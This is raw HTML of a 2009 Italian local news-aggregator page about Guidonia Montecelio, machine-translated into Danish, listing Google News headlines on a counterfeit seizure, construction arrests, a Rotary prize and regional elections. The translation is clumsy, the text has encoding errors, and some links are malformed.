<span  > Modtaget den 03 juli, 2009 i <a href="http://www.guidonia.net/wp?cat=1&lang=da" >Guidonia Nyheder</a> af <a href="http://www.guidonia.net/wp?author=1&lang=da" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top> <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.leggonline.it/articolo.php?id=22339&usg=AFQjCNHEG9N8i1QJmeqAEyEByrETW-Kv8A"><font style=font-size:85%;font-family:arial,sans-serif><img src=http://nt1.ggpht.com/news/tbn/TeSdlT0cc62eQM/0.jpg alt="" border=1 width=80 height=80 /><br /></font></a> <span  > <font size=-2><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.leggonline.it/articolo.php?id=22339&usg=AFQjCNHEG9N8i1QJmeqAEyEByrETW-Kv8A"><font style=font-size:85%;font-family:arial,sans-serif>Online</font></a></font></span> </td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?DocRulesView=Libero&fd=R&sa=T&url=http://www.ilsole24ore.com/art/SoleOnLine4/Italia/2009/07/gdf-operazione-anti-contraffazione-cinesi.shtml?uuid=ba99858c-67b1-11de-bb24-784de86f3209&usg=AFQjCNE1JGpu-wnJ9FGmix1nbU4GEJc95Q">GdF, store beslaglÃŠggelse af forfalskede varer for 20 millioner</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>Il Sole 24 Ore</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> Brugt for indfÃžrelsen af forfalskninger i Italien, er blevet identificeret 17 lagre i de omrÃ¥der af East Rom og <b>Guidonia Montecelio. ...</b></font></span> <br /> <span  > <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363649&usg=AFQjCNHRBjcCVrfDM6GZyFiVGJnd6N_9Ww">FalskmÃžntneri, trukket 3 millioner stykker &quot;false&quot; pÃ¥stande <b>...</b></a> <nobr><font size=-1 color=#6f6f6f>avisen</font></nobr></font></span> <br /> <span  > <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.apcom.net/newscronaca/20090703_075900_10880bf_65395.html&usg=AFQjCNG4dOURDr4FGElpVs3uWSs3tn5a4Q">Rom, maxi-operation anti-GDF: 1 anholdelse</a> <nobr><font size=-1 color=#6f6f6f>APCOM</font></nobr></font></span> <br /> <span  > <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.libero-news.it/adnkronos/view/148279&usg=AFQjCNHvVam7zihY5jX090CDBHQccnTHkg">ROM: GDF TILLÃG 3 millioner poster, en anholdelse og <b>...</b></a> <nobr><font size=-1 color=#6f6f6f>Free-News.it</font></nobr></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=do9DR3p8ecvCfYMcwzdWNoypVvRvM"><font class=p size=-1><b>Alle nyheder (12)</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://news.google.com/news/url?DocRulesView=Libero&fd=R&sa=T&url=http://www.ilsole24ore.com/art/SoleOnLine4/Italia/2009/07/gdf-operazione-anti-contraffazione-cinesi.shtml?uuid=ba99858c-67b1-11de-bb24-784de86f3209&usg=AFQjCNE1JGpu-wnJ9FGmix1nbU4GEJc95Q">LÃŠs mere</a></span> </li><li> <span  > <a href="http://news.google.com/news/url?DocRulesView=Libero&fd=R&sa=T&url=http://www.ilsole24ore.com/art/SoleOnLine4/Italia/2009/07/gdf-operazione-anti-contraffazione-cinesi.shtml?uuid=ba99858c-67b1-11de-bb24-784de86f3209&usg=AFQjCNE1JGpu-wnJ9FGmix1nbU4GEJc95Q#comment">Ingen kommentarer</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6287><h2> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363305&usg=AFQjCNHMUvikvEMwctbLfYSqoZXqgNJ0GQ">Bygningen Blitz pÃ¥ byggepladser: 32 mennesker arresteret - Il Giornale</a></span> </h2><p class=meta-header> <span  > Modtaget den 02 juli, 2009 i <a href="http://www.guidonia.net/wp?cat=1&lang=da" >Guidonia Nyheder</a> af <a href="http://www.guidonia.net/wp?author=1&lang=da" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363305&usg=AFQjCNHMUvikvEMwctbLfYSqoZXqgNJ0GQ">Bygningen Blitz pÃ¥ byggepladser: 32 personer anholdt</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>Il Giornale</b></font></font></span> <br /> <span  > <font size=-1>Inspektionerne fokuseret pÃ¥ omrÃ¥der Ãžst for Rom, den fÃŠlles Colleferro, <b>Guidonia Montecelio,</b> Arsoli, Capena og ÃŠldre. <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=d6kg50PNcAxMjVM"><font class=p size=-1><b>mere Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363305&usg=AFQjCNHMUvikvEMwctbLfYSqoZXqgNJ0GQ">LÃŠs mere</a></span> </li><li> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363305&usg=AFQjCNHMUvikvEMwctbLfYSqoZXqgNJ0GQ#comment">Ingen kommentarer</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6291><h2> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg">TILDELING AF ROTARY GIORNALISTICA / til minde om Grazio AMMATURO ... - UnoNotizie.it</a></span> </h2><p class=meta-header><span  > Modtaget 29. juni 2009 i <a href="http://www.guidonia.net/wp?cat=1&lang=da" >Guidonia Nyheder</a> af <a href="http://www.guidonia.net/wp?author=1&lang=da" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top> <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg"><font style=font-size:85%;font-family:arial,sans-serif><img src=http://nt0.ggpht.com/news/tbn/vB84q3PNtilB0M/0.jpg alt="" border=1 width=80 height=70 /><br /></font></a> <span  > <font size=-2><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg"><font style=font-size:85%;font-family:arial,sans-serif>UnoNotizie.it</font></a></font></span> </td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg">TILDELING AF ROTARY GIORNALISTICA / til minde om Grazio AMMATURO ...</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>UnoNotizie.it</b></font></font></span> <br /> <span  > <font size=-1>Den Rotary Club i <b>Guidonia Montecelio</b> service har skabt en permanent tildeling Ã¥rligt en journalist eller en udÃžver af et headboard er <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=dPhL1Yfw82Bfv2M"><font class=p size=-1><b>mere Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg">LÃŠs mere</a></span> </li><li> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg#comment">Ingen kommentarer</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6295><h2> <span  > <a href="http://news.google.com/news/url?Art=43986&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA#39;trompet&#39; IKKE REVISION et nederlag - IRIS Tryk - National News Agency"">Guidonia: DC, PAGANO MAYOR &#39;trompet&#39; IKKE REVISION</a> Et <a href="http://news.google.com/news/url?Art=43986&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA#39;trompet&#39; IKKE REVISION et nederlag - IRIS Tryk - National News Agency"">nederlag - IRIS Tryk - National News Agency</a></span> </h2><p class=meta-header> <span  > Modtaget 25. juni 2009 i <a href="http://www.guidonia.net/wp?cat=1&lang=da" >Guidonia Nyheder</a> af <a href="http://www.guidonia.net/wp?author=1&lang=da" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <a href="http://news.google.com/news/url?Art=43986&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA"><b>Guidonia: DC, PAGANO MAYOR &#39;trompet Â«er ikke et REVISION Tab</b></a></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>IRIS Tryk - National News Agency</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> PÃ¥ sejr til borgmester Eligio Rubeis i <b>Guidonia Montecelio,</b> og i flere mÃ¥neder har han forfulgt, uden held, til at sÃžge</font> en <font size=-1>alliance. <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=dp3-KeU4Jhn_l8M"><font class=p size=-1><b>mere Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://news.google.com/news/url?Art=43986&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">LÃŠs mere</a></span> </li><li> <span  > <a href="http://news.google.com/news/url?Art=43986&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA#comment">Ingen kommentarer</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6214><h2> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/0-0&fd=R&url=http://www.ilgiornale.it/a.pic1%3FID%3D361537&cid=0&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNEBvAQ0RFOUEosokE2KNoexhWMWEQ#39;Meddelelse til MARRAZZO for 2010 - Il Giornale"">Meddelelse til MARRAZZO for 2010 - Il Giornale</a></span> </h2><p class=meta-header> <span  > Modtaget 25. juni 2009 i <a href="http://www.guidonia.net/wp?cat=3&lang=da" >Nyheder pÃ¥ Guidonia</a> fra <a href="http://www.guidonia.net/wp?author=2&lang=da" >Guidonia-volleyball-fodbold-spil-lejr - Google News</a></span> </p><table border=0 width=valign=top cellpadding=2 cellspacing=7><tr><td valign=top class=j> <font><br></font> <div><img alt="" height=1 width=1></div><div class=lh> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/0-0&fd=R&url=http://www.ilgiornale.it/a.pic1%3FID%3D361537&cid=0&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNEBvAQ0RFOUEosokE2KNoexhWMWEQ">Meddelelse til MARRAZZO for 2010</a></span> <br> <span  > <font color=#6f6f6f><font size=-1>Il Giornale</font></font></span> <br> <span  > <font size=-1>Hun tabte Frosinone, <b>Guidonia,</b> New Source ...</font></span> <span  > <font size=-1>Han vandt kun i Rieti, som er den provins med mindre befolkning.</font></span> <span  > <font size=-1>En Frosinone input til</font> ledelse <font size=-1>af Pd var irrelevant: den fordel Iannarilli i fÃžrste runde var 5,5%, den anden faldt til 3,2 <b>...</b></font></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/0-0&fd=R&url=http://www.ilgiornale.it/a.pic1%3FID%3D361537&cid=0&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNEBvAQ0RFOUEosokE2KNoexhWMWEQ">LÃŠs mere</a></span> </li><li> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/0-0&fd=R&url=http://www.ilgiornale.it/a.pic1%3FID%3D361537&cid=0&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNEBvAQ0RFOUEosokE2KNoexhWMWEQ#comment">Ingen kommentarer</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6215><h2> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/1-0&fd=R&url=http://www.ilgiornale.it/a.pic1%3FID%3D361544&cid=0&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNH6koOum_4w5tIpOqKr0vRkEMLH7w#39;ASL Rm GÂ» - Il Giornale"">Sundhed Maselli, &quot;Managing allegra dell&#39;ASL Rm GÂ» - Il Giornale</a></span> </h2><p class=meta-header> <span  > Modtaget 25. juni 2009 i <a href="http://www.guidonia.net/wp?cat=3&lang=da" >Nyheder pÃ¥ Guidonia</a> fra <a href="http://www.guidonia.net/wp?author=2&lang=da" >Guidonia-volleyball-fodbold-spil-lejr - Google News</a></span> </p><table border=0 width=valign=top cellpadding=2 cellspacing=7><tr><td valign=top class=j> <font><br></font> <div><img alt="" height=1 width=1></div><div class=lh> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/1-0&fd=R&url=http://www.ilgiornale.it/a.pic1%3FID%3D361544&cid=0&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNH6koOum_4w5tIpOqKr0vRkEMLH7w">Sundhed Maselli, &quot;Managing allegra dell&#39;ASL Rm G</a></span> <br> <span  > <font color=#6f6f6f><font size=-1>Il Giornale</font></font></span> <br> <span  > <font size=-1>&quot;De ASL - tilfÃžjer Maselli - har underskrevet en lejekontrakt med Cargest, for nogle lokale markeder</font> i <font size=-1>almindelighed <b>Guidonia</b> med et volumen pÃ¥ 183 tusind euro om Ã¥ret.</font></span> <span  > <font size=-1>Hvordan kan ASL kontrol terzietÃ  mad <b>...</b></font></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/1-0&fd=R&url=http://www.ilgiornale.it/a.pic1%3FID%3D361544&cid=0&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNH6koOum_4w5tIpOqKr0vRkEMLH7w">LÃŠs mere</a></span> </li><li> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/1-0&fd=R&url=http://www.ilgiornale.it/a.pic1%3FID%3D361544&cid=0&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNH6koOum_4w5tIpOqKr0vRkEMLH7w#comment">Ingen kommentarer</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6134><h2> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/2-0&fd=R&url=http://www.superabile.it/web/it/CANALI_TEMATICI/Associazioni/Il_punto/info54820948.html&cid=1302435482&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNHY6N3PefsbK9VOnk0aHp4Ile4hiA">Sociale faktorer, til overvÃ¥gning af terapeutiske resultater -</a> Pass</span> </h2><p class=meta-header> <span  > Modtaget 24. juni 2009 i <a href="http://www.guidonia.net/wp?cat=3&lang=da" >Nyheder pÃ¥ Guidonia</a> fra <a href="http://www.guidonia.net/wp?author=2&lang=da" >Guidonia-volleyball-fodbold-spil-lejr - Google News</a></span> </p><table border=0 width=valign=top cellpadding=2 cellspacing=7><tr><td width=80 align=center valign=top> <a href="http://news.google.it/news/url?sa=T&ct=it/2i-0&fd=R&url=http://www.superabile.it/web/it/CANALI_TEMATICI/Associazioni/Il_punto/info54820948.html&cid=1302435482&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNHY6N3PefsbK9VOnk0aHp4Ile4hiA"><font><img src=http://nt2.ggpht.com/news/tbn/ql-ZVSHRM3IJ width=80 height=66 alt="" border=1></font></a> </td><td valign=top class=j> <font><br></font> <div><img alt="" height=1 width=1></div><div class=lh><span  > <a href="http://news.google.it/news/url?sa=T&ct=it/2-0&fd=R&url=http://www.superabile.it/web/it/CANALI_TEMATICI/Associazioni/Il_punto/info54820948.html&cid=1302435482&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNHY6N3PefsbK9VOnk0aHp4Ile4hiA">Sociale faktorer, til overvÃ¥gning af terapeutiske resultater</a></span> <br> <span  > <font color=#6f6f6f><font size=-1>Overvindes</font></font></span> <br> <span  > <font size=-1>Forum mÃžde mellem de involverede organer inden for landbruget og den sociale formand for provinsen Rom Zingaretti.</font></span> <span  > <font size=-1>Blandt de lÃžfter: en undersÃžgelse og gÃžre en stopper for jobbet Rom - oprettelse af et udvalg <b>...</b></font></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/2-0&fd=R&url=http://www.superabile.it/web/it/CANALI_TEMATICI/Associazioni/Il_punto/info54820948.html&cid=1302435482&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNHY6N3PefsbK9VOnk0aHp4Ile4hiA">LÃŠs mere</a></span> </li><li> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/2-0&fd=R&url=http://www.superabile.it/web/it/CANALI_TEMATICI/Associazioni/Il_punto/info54820948.html&cid=1302435482&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNHY6N3PefsbK9VOnk0aHp4Ile4hiA#comment">Ingen kommentarer</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6004><h2> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/0-0&fd=R&url=http://www.libero-news.it/adnkronos/view/142743&cid=1248270696&ei=9zVBSruML8qzsAbskdWWBQ&usg=AFQjCNHA3vhjGK13jxqNUznHpdrsqc-o4w">ADMINISTRATIVE: PDL, IANNARILLI Vind Frosinone BOCCA INDGAAET ... - Gratis-News.it</a></span> </h2><p class=meta-header> <span  > Modtaget 23. juni 2009 i <a href="http://www.guidonia.net/wp?cat=3&lang=da" >Nyheder pÃ¥ Guidonia</a> fra <a href="http://www.guidonia.net/wp?author=2&lang=da" >Guidonia-volleyball-fodbold-spil-lejr - Google News</a></span> </p><table border=0 width=valign=top cellpadding=2 cellspacing=7><tr><td valign=top class=j> <font><br></font> <div><img alt="" height=1 width=1></div><div class=lh> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/0-0&fd=R&url=http://www.libero-news.it/adnkronos/view/142743&cid=1248270696&ei=9zVBSruML8qzsAbskdWWBQ&usg=AFQjCNHA3vhjGK13jxqNUznHpdrsqc-o4w">ADMINISTRATIVE: PDL, IANNARILLI Vind Frosinone BOCCA INDGAAET <b>...</b></a></span> <br> <span  > <font color=#6f6f6f><font size=-1>Free-News.it</font></font></span> <br> <span  > <font size=-1>Frosinone, 23 giu.</font></span> <span  > <font size=-1>- (Adnkronos) - &quot;sejr Iannarilli og &#39;sejr over alle de PDL. Efter 15 Ã¥rs kaotisk for midten, provinsen endeligt forandring og vÃŠlger en formand, der skal&quot; diskontinuitet &quot;i regeringen, og at <b>.. .</b></font></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/0-0&fd=R&url=http://www.libero-news.it/adnkronos/view/142743&cid=1248270696&ei=9zVBSruML8qzsAbskdWWBQ&usg=AFQjCNHA3vhjGK13jxqNUznHpdrsqc-o4w">LÃŠs mere</a></span> </li><li> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/0-0&fd=R&url=http://www.libero-news.it/adnkronos/view/142743&cid=1248270696&ei=9zVBSruML8qzsAbskdWWBQ&usg=AFQjCNHA3vhjGK13jxqNUznHpdrsqc-o4w#comment">Ingen kommentarer</a></span> </li></ul><div class=clear-left></div></div></div><div class=pagination><div class=prev-page> <span  > <a href="http://www.guidonia.net/wp?paged=2&lang=da" >Forrige</a></span> </div><div class=next-page></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: ideer til internettet</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>Ideer for at sÃžge midler: <a href=mailto:info@guidonia.net>Kontakt os</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > Du kan udsÃŠtte aÄ¡Ä¡ornata via <a href="http://www.guidonia.net/wp?feed=rss2&lang=da" >rss feed.</a></span> </div><div class=col><div class=box><h3> <span  > Videoer om Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp/# onclick="tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, ad.</span> <span  > Viale Roma jernbanestationen og ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp/# onclick="tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Ord og lyde Days - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Stykker af den legendariske koncert i en Moro Guidonia af ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp/# onclick="tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Stykker af den legendariske koncert i en Moro Guidonia af ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp/# onclick="tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - betydningen af alt er - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Stykker af den legendariske koncert i en Moro Guidonia af ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp/# onclick="tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Ikke Import - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Stykker af den legendariske koncert i en Moro Guidonia af ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Classifieds</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div><div class=col2><div class=box><h3> <span  > Translator</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><map id="gltr_flags_map" name="gltr_flags_map"><area shape='rect' coords='0,0,16,11' href='http://www.guidonia.net/wp/' id='flag_it'   title='Italiano'/><area shape='rect' coords='20,0,36,11' href='http://www.guidonia.net/wp/?lang=ar' id='flag_ar'   title='Arabo'/><area shape='rect' coords='40,0,56,11' href='http://www.guidonia.net/wp/?lang=bg' id='flag_bg'   title='Bulgaro'/><area shape='rect' coords='60,0,76,11' href='http://www.guidonia.net/wp/?lang=ca' id='flag_ca'   title='Catalano'/><area shape='rect' coords='80,0,96,11' href='http://www.guidonia.net/wp/?lang=zh-CN' id='flag_zh-CN'   title='Cinese (Semplificato)'/><area shape='rect' coords='100,0,116,11' href='http://www.guidonia.net/wp/?lang=zh-TW' id='flag_zh-TW'   title='Cinese (Tradizionale)'/><area shape='rect' coords='120,0,136,11' href='http://www.guidonia.net/wp/?lang=hr' id='flag_hr'   title='Croato'/><area shape='rect' coords='140,0,156,11' href='http://www.guidonia.net/wp/?lang=cs' id='flag_cs'   title='Ceco'/><area shape='rect' coords='160,0,176,11' href='http://www.guidonia.net/wp/?lang=da' id='flag_da'   title='Danese'/><area shape='rect' coords='180,0,196,11' href='http://www.guidonia.net/wp/?lang=nl' id='flag_nl'   title='Olandese'/><area shape='rect' coords='200,0,216,11' href='http://www.guidonia.net/wp/?lang=en' id='flag_en'   title='Inglese'/><area shape='rect' coords='220,0,236,11' href='http://www.guidonia.net/wp/?lang=tl' id='flag_tl'   title='Filippino'/><area shape='rect' coords='240,0,256,11' href='http://www.guidonia.net/wp/?lang=fi' id='flag_fi'   title='Finlandese'/><area shape='rect' coords='260,0,276,11' href='http://www.guidonia.net/wp/?lang=fr' id='flag_fr'   title='Francese'/><area shape='rect' 